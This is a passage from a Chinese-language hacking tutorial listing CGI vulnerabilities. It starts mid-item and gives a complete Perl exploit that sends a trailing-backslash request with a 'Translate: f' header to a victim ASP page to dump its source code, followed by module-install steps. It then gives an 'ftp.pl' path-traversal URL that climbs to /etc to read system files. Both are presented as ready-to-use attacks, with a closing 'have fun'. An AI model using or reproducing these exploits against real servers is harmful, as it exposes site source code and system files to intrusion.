|
CGI漏洞(22) http://www.victim.com/default.asp > file_to_save ~; exit;} $victimurl=$ARGV[0]; # Create a user agent object use LWP::UserAgent; $ua = new LWP::UserAgent; # Create a request my $req = new HTTP::Request GET => $victimurl . ‘\\‘; # Here is the backslash at the end of the url $req->content_type(‘application/x-www-form-urlencoded‘); $req->content_type(‘text/html‘); $req->header(Translate => ‘f‘); # Here is the famous translate header ) $req->content(‘match=www&errors=0‘); # Pass request to the user agent and get a response back my $res = $ua->request($req); # Check the outcome of the response if ($res->is_success) { print $res->content; } else { print $res->error_as_HTML; } ---------------------------------end--------------------------------------- 要使用这一程序,你可能需要下载几个perl的模块(可以 http://www.perl.org上去search) 1、libwww-perl-5.48.tar.gz 2、URI-1.09.tar.gz 3、HTML-Parser-3.11.tar.gz 每个包只有几十K大吧,下载解包后进入目录,运行 #perl Makefile.PL&&make&&make install 就可以了。have fun (有些asp文件可能要在url后加上?或者/才能看到源码) 三十七.ftp.pl
http://www.server.com/cgi-bin/ft ... /../../../../../etc 这将暴露所有etc目录下面的文件。以此类推,你可以阅览其它目录下的东西,从而突破本身ftp目录的限制。
|